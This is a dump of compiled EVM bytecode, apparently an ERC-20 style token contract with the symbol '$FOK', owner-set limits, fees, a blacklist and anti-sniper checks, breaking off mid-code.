b506104886106ed366004612959565b61131c565b3480156106fe57600080fd5b506103db60045481565b34801561071457600080fd5b5061036361142b565b34801561072957600080fd5b506103db60035481565b34801561073f57600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016103e5565b34801561077157600080fd5b506007546104889060ff1681565b34801561078b57600080fd5b5061048861079a366004612a49565b600a6020526000908152604090205460ff1681565b3480156107bb57600080fd5b506103636107ca366004612829565b611545565b3480156107db57600080fd5b506104256040518060400160405280600481526020016324464f4b60e01b81525081565b34801561080b57600080fd5b506103db600c5481565b34801561082157600080fd5b5061074d7f000000000000000000000000000000000000000000000000000000000000000081565b34801561085557600080fd5b50610488610864366004612959565b611618565b34801561087557600080fd5b50610363610884366004612a49565b611625565b34801561089557600080fd5b506103636108a436600461292b565b611673565b3480156108b557600080fd5b506104886108c4366004612a49565b600b6020526000908152604090205460ff1681565b3480156108e557600080fd5b506103636108f4366004612a66565b611738565b34801561090557600080fd5b50610363610914366004612a92565b61178e565b34801561092557600080fd5b506103db610934366004612ad2565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561096b57600080fd5b5061036361097a366004612b00565b6117f7565b34801561098b57600080fd5b5061036361099a366004612a49565b61189d565b3480156109ab57600080fd5b506103636109ba366004612a49565b611946565b3480156109cb57600080fd5b5060165461074d906001600160a01b031681565b3480156109eb57600080fd5b506104886109fa366004612a49565b60086020526000908152604090205460ff1681565b348015610a1b57600080fd5b50610488610a2a366004612a49565b6001600160a01b031660009081526002602052604090205460ff1690565b348015610a5457600080fd5b506103db60115481565b348015610a6a57600080fd5b5060165461048890600160a01b900460ff1681565b6000546001600160a01b03163314610ab25760405162461bcd60e51b8152600401610aa990612b1e565b60405180910390fd5b6101f58210610ad35760405162461bcd60e51b8152600401610aa990612b3e565b60005b82811015610b425781600b6000868685818110610af557610af5612b83565b9050602002016020810190610b0a9190612a49565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610b3b81612baf565b9050610ad6565b50505050565b6000546001600160a01b03163314610b725760405162461bcd60e51b8152600401610aa990612b1e565b6101f58210610b935760405162461bcd60e51b8152600401610aa990612b3e565b60005b82811015610b42578160096000868685818110610bb557610bb5612b83565b9050602002016020810190610bca9190612a49565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610bfb81612baf565b9050610b96565b6000546001600160a01b03163314610c2c5760405162461bcd60e51b8152600401610aa990612b1e565b6016805461ffff60a01b1916600160a01b9315159390930260ff60a81b191692909217600160a81b91151591909102179055565b6000546001600160a01b03163314610c8a5760405162461bcd60e51b8152600401610aa990612b1e565b6007805460ff1916911515919091179055565b6000546001600160a01b03163314610cc75760405162461bcd60e51b8152600401610aa990612b1e565b6005811015610d245760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d61782077616c6c6574206c657373207468616e20604482015263302e352560e01b6064820152608401610aa9565b6103e881610d346009600a612cac565b610d42906305f5e100612cbb565b610d4c9190612cbb565b610d569190612cda565b60045550565b3360008181526006602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610db79086815260200190565b60405180910390a35060015b92915050565b610dd56009600a612cac565b610de3906305f5e100612cbb565b81565b3360009081526002602052604090205460ff16610e335760405162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b6044820152606401610aa9565b6101f58310610e545760405162461bcd60e51b8152600401610aa990612b3e565b828114610eb45760405162461bcd60e51b815260206004820152602860248201527f4d69736d61746368206265747765656e206164647265737320616e6420746f6b604482015267195b8818dbdd5b9d60c21b6064820152608401610aa9565b6000805b84811015610ef857838382818110610ed257610ed2612b83565b9050602002013582610ee49190612cfc565b915080610ef081612baf565b915050610eb8565b506001600160a01b038616600090815260056020526040902054811115610f615760405162461bcd60e51b815260206004820152601b60248201527f4e6f7420656e6f75676820746f6b656e7320696e2077616c6c657400000000006044820152606401610aa9565b60005b84811015610fc857610fb587878784818110610f8257610f82612b83565b9050602002016020810190610f979190612a49565b868685818110610fa957610fa9612b83565b90506020020135611a6c565b5080610fc081612baf565b915050610f64565b50505050505050565b6000546001600160a01b03163314610ffb5760405162461bcd60e51b8152600401610aa990612b1e565b47336108fc606461100c8585612cbb565b6110169190612cda565b6040518115909202916000818181858888f1935050505015801561103e573d6000803e3d6000fd5b505050565b6001600160a01b0383166000908152600660209081526040808320338452909152812054600019146110f0576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526006825283812033825290915291909120546110cb918490611b52565b6001600160a01b03851660009081526006602090815260408083203384529091529020555b6110fb848484611b8c565b90505b9392505050565b60056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc5461dead60009081527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba549091906111656009600a612cac565b611173906305f5e100612cbb565b61117d9190612d14565b6111879190612d14565b905090565b6000546001600160a01b031633146111b65760405162461bcd60e51b8152600401610aa990612b1e565b6101f582106111d75760405162461bcd60e51b8152600401610aa990612b3e565b60005b82811015610b425781600a60008686858181106111f9576111f9612b83565b905060200201602081019061120e9190612a49565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905561123f81612baf565b90506111da565b6000610dc382600019610d5c565b6000546001600160a01b0316331461127e5760405162461bcd60e51b8152600401610aa990612b1e565b601191909155601091909155601255565b6000546001600160a01b031633146112b95760405162461bcd60e51b8152600401610aa990612b1e565b600080546001600160a01b03168152600260209081526040808320805460ff1916905582546001600160a01b0319168355519182527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616391015b60405180910390a1565b600080546001600160a01b031633146113475760405162461bcd60e51b8152600401610aa990612b1e565b816000036113ba576040516370a0823160e01b81523060048201526001600160a01b038416906370a0823190602401602060405180830381865afa158015611393573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b79190612d2b565b91505b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0384169063a9059cbb906044016020604051808303816000875af1158015611407573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fe9190612d44565b6001546001600160a01b031633146114bc5760405162461bcd60e51b815260206004820152604860248201527f596f75206d757374206265206e6f6d696e6174656420617320706f74656e746960448201527f616c206f776e6572206265666f726520796f752063616e2061636365707420746064820152673432903937b6329760c11b608482015260a401610aa9565b600080546001600160a01b039081168252600260209081526040808420805460ff19908116909155600180548516865282862080549092168117909155805485549481166001600160a01b031995861681179096559390931690925590519182527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639101611312565b6000546001600160a01b0316331461156f5760405162461bcd60e51b8152600401610aa990612b1e565b60c982106115cd5760405162461bcd60e51b815260206004820152602560248201527f474153204572726f723a206d6178206c696d6974206973203230302061646472604482015264657373657360d81b6064820152608401610aa9565b60005b82811015610b42576116088484838181106115ed576115ed612b83565b90506020020160208101906116029190612a49565b83612108565b61161181612baf565b90506115d0565b60006110fe338484611b8c565b6000546001600160a01b0316331461164f5760405162461bcd60e51b8152600401610aa990612b1e565b6001600160a01b03166000908152600260205260409020805460ff19166001179055565b6000546001600160a01b0316331461169d5760405162461bcd60e51b8152600401610aa990612b1e565b60058110156117005760405162461bcd60e51b815260206004820152602960248201527f43616e6e6f7420736574206d6178207472616e73616374696f6e206c657373206044820152687468616e20302e352560b81b6064820152608401610aa9565b6103e8816117106009600a612cac565b61171e906305f5e100612cbb565b6117289190612cbb565b6117329190612cda565b60035550565b6000546001600160a01b031633146117625760405162461bcd60e51b8152600401610aa990612b1e565b600c839055600d829055600e8190558061177c8385612cfc565b6117869190612cfc565b600f55505050565b6000546001600160a01b031633146117b85760405162461bcd60e51b8152600401610aa990612b1e565b601380546001600160a01b039485166001600160a01b031991821617909155601480549385169382169390931790925560158054919093169116179055565b6000546001600160a01b031633146118215760405162461bcd60e51b8152600401610aa990612b1e565b603281116118635760405162461bcd60e51b815260206004820152600f60248201526e082dadeeadce840e8dede40d0d2ced608b1b6044820152606401610aa9565b6018805460ff19168315151790558061187e6009600a612cac565b61188c906305f5e100612cbb565b6118969190612cda565b6019555050565b6000546001600160a01b031633146118c75760405162461bcd60e51b8152600401610aa990612b1e565b6000546001600160a01b03908116908216036119255760405162461bcd60e51b815260206004820152601a60248201527f4f574e45522063616e7420626520756e617574686f72697a65640000000000006044820152606401610aa9565b6001600160a01b03166000908152600260205260409020805460ff19169055565b6000546001600160a01b031633146119705760405162461bcd60e51b8152600401610aa990612b1e565b6000546001600160a01b03908116908216036119c25760405162461bcd60e51b815260206004820152601160248201527020b63932b0b23c903a34329037bbb732b960791b6044820152606401610aa9565b6001600160a01b038116611a185760405162461bcd60e51b815260206004820152601860248201527f43616e206e6f74206265207a65726f20616464726573732e00000000000000006044820152606401610aa9565b600180546001600160a01b0319166001600160a01b0383169081179091556040519081527fe235b3289f2e990914b334bf6827949c27f6ba58d3e5a1d6f8415037ca1ef2229060200160405180910390a150565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600590915291822054611abd918490611b52565b6001600160a01b038086166000908152600560205260408082209390935590851681522054611aec908361217a565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611b409086815260200190565b60405180910390a35060019392505050565b60008184841115611b765760405162461bcd60e51b8152600401610aa991906128d6565b506000611b838486612d14565b95945050505050565b601a5460009060ff1615611bac57611ba5848484611a6c565b90506110fe565b6001600160a01b03841660009081526002602052604090205460ff16158015611bee57506001600160a01b03831660009081526002602052604090205460ff16155b15611cd857601654600160a01b900460ff16611c435760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b6044820152606401610aa9565b601654600160a81b900460ff168015611c8d57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b0316145b15611cd8576001600160a01b0383166000908152601760205260408120549003611ccd576001600160a01b03831660009081526017602052604090204390555b611cd8836001612108565b60075460ff168015611cf45750601654600160a81b900460ff16155b15611d50576001600160a01b03841660009081526008602052604090205460ff1615611d505760405162461bcd60e51b815260206004820152600b60248201526a109b1858dadb1a5cdd195960aa1b6044820152606401610aa9565b601654600160a81b900460ff168015611d8057506001600160a01b03841660009081526017602052604090205415155b15611e0257611d90603c43612d14565b6001600160a01b03851660009081526017602052604090205411611e025760405162461bcd60e51b815260206004820152602360248201527f426f75676874206265666f726520636f6e747261637420776173206c61756e636044820152621a195960ea1b6064820152608401610aa9565b6001600160a01b03841660009081526002602052604090205460ff16158015611e4457506001600160a01b0384166000908152600b602052604090205460ff16155b8015611e6957506001600160a01b0383166000908152600b602052604090205460ff16155b8015611ea757507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b031614155b15611f21576004546001600160a01b038416600090815260056020526040902054611ed3908490612cfc565b1115611f215760405162461bcd60e51b815260206004820152601860248201527f6d61782077616c6c6574206c696d6974207265616368656400000000000000006044820152606401610aa9565b60035482111580611f4a57506001600160a01b0384166000908152600a602052604090205460ff165b80611f6d57506001600160a01b0383166000908152600a602052604090205460ff165b611fb15760405162461bcd60e51b815260206004820152601560248201527413585e08151608131a5b5a5d08115e18d959591959605a1b6044820152606401610aa9565b611fb96121d9565b15611fc657611fc6612245565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260059091529190912054612018918490611b52565b6001600160a01b038516600090815260056020908152604080832093909355600990529081205460ff168061206557506001600160a01b03841660009081526009602052604090205460ff165b6120795761207485848661253d565b61207b565b825b6001600160a01b0385166000908152600560205260409020549091506120a1908261217a565b6001600160a01b0380861660008181526005602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906120f59085815260200190565b60405180910390a3506001949350505050565b80801561214657507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316145b1561214f575050565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6000806121878385612cfc565b9050838110156110fe5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610aa9565b6000336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016148015906122175750601a5460ff16155b8015612225575060185460ff165b801561118757505060195430600090815260056020526040902054101590565b601a805460ff19166001179055600f54600c54601954600092612278926002926122729291839190612698565b9061271a565b905060006122918260195461275c90919063ffffffff16565b604080516002808252606082018352929350600092909160208301908036833701905050905030816000815181106122cb576122cb612b83565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000008160018151811061231f5761231f612b83565b6001600160a01b03928316602091820292909201015260165460405163791ac94760e01b815291169063791ac94790612365908590600090869030904290600401612d61565b600060405180830381600087803b15801561237f57600080fd5b505af1158015612393573d6000803e3d6000fd5b5050600c54479250600091506123b7906123ae90600261271a565b600f549061275c565b905060006123d9600261227284612272600c548861269890919063ffffffff16565b905060006123f683612272600d548761269890919063ffffffff16565b9050600061241384612272600e548861269890919063ffffffff16565b6014546040519192506001600160a01b03169083156108fc029084906000818181858888f1935050505015801561244e573d6000803e3d6000fd5b506015546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015612489573d6000803e3d6000fd5b5087156125295760165460135460405163f305d71960e01b8152306004820152602481018b905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990859060c40160606040518083038185885af1158015612500573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906125259190612dd2565b5050505b5050601a805460ff19169055505050505050565b600082158061254c5750600f54155b156125585750816110fe565b6012546001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081169084160361259757506011546125d5565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b0316036125d557506010545b60006126066125e76103e86064612cbb565b61227284612600600f548a61269890919063ffffffff16565b90612698565b90508080156126835730600090815260056020526040902054612629908261217a565b30600081815260056020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061267a9085815260200190565b60405180910390a35b61268d868361275c565b979650505050505050565b6000826000036126aa57506000610dc3565b60006126b68385612cbb565b9050826126c38583612cda565b146110fe5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610aa9565b60006110fe83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061279e565b60006110fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b52565b600081836127bf5760405162461bcd60e51b8152600401610aa991906128d6565b506000611b838486612cda565b60008083601f8401126127de57600080fd5b50813567ffffffffffffffff8111156127f657600080fd5b6020830191508360208260051b850101111561281157600080fd5b9250929050565b801515811461282657600080fd5b50565b60008060006040848603121561283e57600080fd5b833567ffffffffffffffff81111561285557600080fd5b612861868287016127cc565b909450925050602084013561287581612818565b809150509250925092565b6000806040838503121561289357600080fd5b823561289e81612818565b915060208301356128ae81612818565b809150509250929050565b6000602082840312156128cb57600080fd5b81356110fe81612818565b600060208083528351808285015260005b81811015612903578581018301518582016040015282016128e7565b81811115612915576000604083870101525b50601f01601f1916929092016040019392505050565b60006020828403121561293d57600080fd5b5035919050565b6001600160a01b038116811461282657600080fd5b6000806040838503121561296c57600080fd5b823561297781612944565b946020939093013593505050565b60008060008060006060868803121561299d57600080fd5b85356129a881612944565b9450602086013567ffffffffffffffff808211156129c557600080fd5b6129d189838a016127cc565b909650945060408801359150808211156129ea57600080fd5b506129f7888289016127cc565b969995985093965092949392505050565b600080600060608486031215612a1d57600080fd5b8335612a2881612944565b92506020840135612a3881612944565b929592945050506040919091013590565b600060208284031215612a5b57600080fd5b81356110fe81612944565b600080600060608486031215612a7b57600080fd5b505081359360208301359350604090920135919050565b600080600060608486031215612aa757600080fd5b8335612ab281612944565b92506020840135612ac281612944565b9150604084013561287581612944565b60008060408385031215612ae557600080fd5b8235612af081612944565b915060208301356128ae81612944565b60008060408385031215612b1357600080fd5b823561297781612818565b60208082526006908201526510a7aba722a960d11b604082015260600190565b60208082526025908201527f474153204572726f723a206d6178206c696d6974206973203530302061646472604082015264657373657360d81b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201612bc157612bc1612b99565b5060010190565b600181815b80851115612c03578160001904821115612be957612be9612b99565b80851615612bf657918102915b93841c9390800290612bcd565b509250929050565b600082612c1a57506001610dc3565b81612c2757506000610dc3565b8160018114612c3d5760028114612c4757612c63565b6001915050610dc3565b60ff841115612c5857612c58612b99565b50506001821b610dc3565b5060208310610133831016604e8410600b8410161715612c86575081810a610dc3565b612c908383612bc8565b8060001904821115612ca457612ca4612b99565b029392505050565b60006110fe60ff841683612c0b565b6000816000190483118215151615612cd557612cd5612b99565b500290565b600082612cf757634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115612d0f57612d0f612b99565b500190565b600082821015612d2657612d26612b99565b500390565b600060208284031215612d3d57600080fd5b5051919050565b600060208284031215612d5657600080fd5b81516110fe81612818565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612db15784516001600160a01b031683529383019391830191600101612d8c565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215612de757600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212208016e811c871bb0fa6d63e89fac07bf2859b0694e140fa2b8c261b85ed7bfe0a64736f6c634300080f0033

Deployed Bytecode

0x6080604052600436106103375760003560e01c8063715018a6116101ab578063b6a5d7de116100f7578063f0b37c0411610095578063fe575a871161006f578063fe575a87146109df578063fe9fbb8014610a0f578063fed0d2a114610a48578063ffb54a9914610a5e57600080fd5b8063f0b37c041461097f578063f2fde38b1461099f578063f887ea40146109bf57600080fd5b8063cec10c11116100d1578063cec10c11146108d9578063d7c01032146108f9578063dd62ed3e14610919578063df20fd491461095f57600080fd5b8063b6a5d7de14610869578063bd9ab53714610889578063c867d60b146108a957600080fd5b8063896648c11161016457806395d89b411161013e57806395d89b41146107cf57806398118cb4146107ff578063a8aa1b3114610815578063a9059cbb1461084957600080fd5b8063896648c1146107655780638b42507f1461077f5780638e2eee84146107af57600080fd5b8063715018a6146106bd57806377b54bad146106d257806378109e54146106f257806379ba5097146107085780637d1db4a51461071d578063893d20e81461073357600080fd5b80631df4ccfc116102855780634be9d869116102235780636b67c4df116101fd5780636b67c4df146106405780636ce46bc3146106565780636ddd17131461067657806370a082311461069057600080fd5b80634be9d869146105ea578063571ac8b01461060a5780635921652f1461062a57600080fd5b80632f54bf6e1161025f5780632f54bf6e1461054e5780633121c7c01461057d578063313ce567146105935780633f4218e0146105ba57600080fd5b80631df4ccfc1461050357806323b872dd146105195780632b112e491461053957600080fd5b8063090896be116102f2578063180b0d7e116102cc578063180b0d7e1461049857806318160ddd146104ae5780631ca0a28d146104c35780631da1db5e146104e357600080fd5b8063090896be1461043257806309302dc614610448578063095ea7b31461046857600080fd5b806210868314610343578062bff44614610365578063034c489714610385578063034fc0b7146103a55780630445b667146103c557806306fdde03146103ee57600080fd5b3661033e57005b600080fd5b34801561034f57600080fd5b5061036361035e366004612829565b610a7f565b005b34801561037157600080fd5b50610363610380366004612829565b610b48565b34801561039157600080fd5b506103636103a0366004612880565b610c02565b3480156103b157600080fd5b506103636103c03660046128b9565b610c60565b3480156103d157600080fd5b506103db60195481565b6040519081526020015b60405180910390f35b3480156103fa57600080fd5b506104256040518060400160405280600b81526020016a233637b5b4a43ab73a32b960a91b81525081565b6040516103e591906128d6565b34801561043e57600080fd5b506103db600e5481565b34801561045457600080fd5b5061036361046336600461292b565b610c9d565b34801561047457600080fd5b50610488610483366004612959565b610d5c565b60405190151581526020016103e5565b3480156104a457600080fd5b506103db6103e881565b3480156104ba57600080fd5b506103db610dc9565b3480156104cf57600080fd5b506103636104de366004612985565b610de6565b3480156104ef57600080fd5b506103636104fe36600461292b565b610fd1565b34801561050f57600080fd5b506103db600f5481565b34801561052557600080fd5b50610488610534366004612a08565b611043565b34801561054557600080fd5b506103db611105565b34801561055a57600080fd5b50610488610569366004612a49565b6000546001600160a01b0391821691161490565b34801561058957600080fd5b506103db60105481565b34801561059f57600080fd5b506105a8600981565b60405160ff90911681526020016103e5565b3480156105c657600080fd5b506104886105d5366004612a49565b60096020526000908152604090205460ff1681565b3480156105f657600080fd5b50610363610605366004612829565b61118c565b34801561061657600080fd5b50610488610625366004612a49565b611246565b34801561063657600080fd5b506103db60125481565b34801561064c57600080fd5b506103db600d5481565b34801561066257600080fd5b50610363610671366004612a66565b611254565b34801561068257600080fd5b506018546104889060ff1681565b34801561069c57600080fd5b506103db6106ab366004612a49565b60056020526000908152604090205481565b3480156106c957600080fd5b5061036361128f565b3480156106de57600080fd5b506104886106ed366004612959565b61131c565b3480156106fe57600080fd5b506103db60045481565b34801561071457600080fd5b5061036361142b565b34801561072957600080fd5b506103db60035481565b34801561073f57600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016103e5565b34801561077157600080fd5b506007546104889060ff1681565b34801561078b57600080fd5b5061048861079a366004612a49565b600a6020526000908152604090205460ff1681565b3480156107bb57600080fd5b506103636107ca366004612829565b611545565b3480156107db57600080fd5b506104256040518060400160405280600481526020016324464f4b60e01b81525081565b34801561080b57600080fd5b506103db600c5481565b34801561082157600080fd5b5061074d7f00000000000000000000000028a6091c9ccbdbdf7883620d2e3bbb950d5fa0b281565b34801561085557600080fd5b50610488610864366004612959565b611618565b34801561087557600080fd5b50610363610884366004612a49565b611625565b34801561089557600080fd5b506103636108a436600461292b565b611673565b3480156108b557600080fd5b506104886108c4366004612a49565b600b6020526000908152604090205460ff1681565b3480156108e557600080fd5b506103636108f4366004612a66565b611738565b34801561090557600080fd5b50610363610914366004612a92565b61178e565b34801561092557600080fd5b506103db610934366004612ad2565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561096b57600080fd5b5061036361097a366004612b00565b6117f7565b34801561098b57600080fd5b5061036361099a366004612a49565b61189d565b3480156109ab57600080fd5b506103636109ba366004612a49565b611946565b3480156109cb57600080fd5b5060165461074d906001600160a01b031681565b3480156109eb57600080fd5b506104886109fa366004612a49565b60086020526000908152604090205460ff1681565b348015610a1b57600080fd5b50610488610a2a366004612a49565b6001600160a01b031660009081526002602052604090205460ff1690565b348015610a5457600080fd5b506103db60115481565b348015610a6a57600080fd5b5060165461048890600160a01b900460ff1681565b6000546001600160a01b03163314610ab25760405162461bcd60e51b8152600401610aa990612b1e565b60405180910390fd5b6101f58210610ad35760405162461bcd60e51b8152600401610aa990612b3e565b60005b82811015610b425781600b6000868685818110610af557610af5612b83565b9050602002016020810190610b0a9190612a49565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610b3b81612baf565b9050610ad6565b50505050565b6000546001600160a01b03163314610b725760405162461bcd60e51b8152600401610aa990612b1e565b6101f58210610b935760405162461bcd60e51b8152600401610aa990612b3e565b60005b82811015610b42578160096000868685818110610bb557610bb5612b83565b9050602002016020810190610bca9190612a49565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610bfb81612baf565b9050610b96565b6000546001600160a01b03163314610c2c5760405162461bcd60e51b8152600401610aa990612b1e565b6016805461ffff60a01b1916600160a01b9315159390930260ff60a81b191692909217600160a81b91151591909102179055565b6000546001600160a01b03163314610c8a5760405162461bcd60e51b8152600401610aa990612b1e565b6007805460ff1916911515919091179055565b6000546001600160a01b03163314610cc75760405162461bcd60e51b8152600401610aa990612b1e565b6005811015610d245760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d61782077616c6c6574206c657373207468616e20604482015263302e352560e01b6064820152608401610aa9565b6103e881610d346009600a612cac565b610d42906305f5e100612cbb565b610d4c9190612cbb565b610d569190612cda565b60045550565b3360008181526006602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610db79086815260200190565b60405180910390a35060015b92915050565b610dd56009600a612cac565b610de3906305f5e100612cbb565b81565b3360009081526002602052604090205460ff16610e335760405162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b6044820152606401610aa9565b6101f58310610e545760405162461bcd60e51b8152600401610aa990612b3e565b828114610eb45760405162461bcd60e51b815260206004820152602860248201527f4d69736d61746368206265747765656e206164647265737320616e6420746f6b604482015267195b8818dbdd5b9d60c21b6064820152608401610aa9565b6000805b84811015610ef857838382818110610ed257610ed2612b83565b9050602002013582610ee49190612cfc565b915080610ef081612baf565b915050610eb8565b506001600160a01b038616600090815260056020526040902054811115610f615760405162461bcd60e51b815260206004820152601b60248201527f4e6f7420656e6f75676820746f6b656e7320696e2077616c6c657400000000006044820152606401610aa9565b60005b84811015610fc857610fb587878784818110610f8257610f82612b83565b9050602002016020810190610f979190612a49565b868685818110610fa957610fa9612b83565b90506020020135611a6c565b5080610fc081612baf565b915050610f64565b50505050505050565b6000546001600160a01b03163314610ffb5760405162461bcd60e51b8152600401610aa990612b1e565b47336108fc606461100c8585612cbb565b6110169190612cda565b6040518115909202916000818181858888f1935050505015801561103e573d6000803e3d6000fd5b505050565b6001600160a01b0383166000908152600660209081526040808320338452909152812054600019146110f0576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526006825283812033825290915291909120546110cb918490611b52565b6001600160a01b03851660009081526006602090815260408083203384529091529020555b6110fb848484611b8c565b90505b9392505050565b60056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc5461dead60009081527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba549091906111656009600a612cac565b611173906305f5e100612cbb565b61117d9190612d14565b6111879190612d14565b905090565b6000546001600160a01b031633146111b65760405162461bcd60e51b8152600401610aa990612b1e565b6101f582106111d75760405162461bcd60e51b8152600401610aa990612b3e565b60005b82811015610b425781600a60008686858181106111f9576111f9612b83565b905060200201602081019061120e9190612a49565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905561123f81612baf565b90506111da565b6000610dc382600019610d5c565b6000546001600160a01b0316331461127e5760405162461bcd60e51b8152600401610aa990612b1e565b601191909155601091909155601255565b6000546001600160a01b031633146112b95760405162461bcd60e51b8152600401610aa990612b1e565b600080546001600160a01b03168152600260209081526040808320805460ff1916905582546001600160a01b0319168355519182527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616391015b60405180910390a1565b600080546001600160a01b031633146113475760405162461bcd60e51b8152600401610aa990612b1e565b816000036113ba576040516370a0823160e01b81523060048201526001600160a01b038416906370a0823190602401602060405180830381865afa158015611393573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b79190612d2b565b91505b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0384169063a9059cbb906044016020604051808303816000875af1158015611407573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fe9190612d44565b6001546001600160a01b031633146114bc5760405162461bcd60e51b815260206004820152604860248201527f596f75206d757374206265206e6f6d696e6174656420617320706f74656e746960448201527f616c206f776e6572206265666f726520796f752063616e2061636365707420746064820152673432903937b6329760c11b608482015260a401610aa9565b600080546001600160a01b039081168252600260209081526040808420805460ff19908116909155600180548516865282862080549092168117909155805485549481166001600160a01b031995861681179096559390931690925590519182527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639101611312565b6000546001600160a01b0316331461156f5760405162461bcd60e51b8152600401610aa990612b1e565b60c982106115cd5760405162461bcd60e51b815260206004820152602560248201527f474153204572726f723a206d6178206c696d6974206973203230302061646472604482015264657373657360d81b6064820152608401610aa9565b60005b82811015610b42576116088484838181106115ed576115ed612b83565b90506020020160208101906116029190612a49565b83612108565b61161181612baf565b90506115d0565b60006110fe338484611b8c565b6000546001600160a01b0316331461164f5760405162461bcd60e51b8152600401610aa990612b1e565b6001600160a01b03166000908152600260205260409020805460ff19166001179055565b6000546001600160a01b0316331461169d5760405162461bcd60e51b8152600401610aa990612b1e565b60058110156117005760405162461bcd60e51b815260206004820152602960248201527f43616e6e6f7420736574206d6178207472616e73616374696f6e206c657373206044820152687468616e20302e352560b81b6064820152608401610aa9565b6103e8816117106009600a612cac565b61171e906305f5e100612cbb565b6117289190612cbb565b6117329190612cda565b60035550565b6000546001600160a01b031633146117625760405162461bcd60e51b8152600401610aa990612b1e565b600c839055600d829055600e8190558061177c8385612cfc565b6117869190612cfc565b600f55505050565b6000546001600160a01b031633146117b85760405162461bcd60e51b8152600401610aa990612b1e565b601380546001600160a01b039485166001600160a01b031991821617909155601480549385169382169390931790925560158054919093169116179055565b6000546001600160a01b031633146118215760405162461bcd60e51b8152600401610aa990612b1e565b603281116118635760405162461bcd60e51b815260206004820152600f60248201526e082dadeeadce840e8dede40d0d2ced608b1b6044820152606401610aa9565b6018805460ff19168315151790558061187e6009600a612cac565b61188c906305f5e100612cbb565b6118969190612cda565b6019555050565b6000546001600160a01b031633146118c75760405162461bcd60e51b8152600401610aa990612b1e565b6000546001600160a01b03908116908216036119255760405162461bcd60e51b815260206004820152601a60248201527f4f574e45522063616e7420626520756e617574686f72697a65640000000000006044820152606401610aa9565b6001600160a01b03166000908152600260205260409020805460ff19169055565b6000546001600160a01b031633146119705760405162461bcd60e51b8152600401610aa990612b1e565b6000546001600160a01b03908116908216036119c25760405162461bcd60e51b815260206004820152601160248201527020b63932b0b23c903a34329037bbb732b960791b6044820152606401610aa9565b6001600160a01b038116611a185760405162461bcd60e51b8152602060048201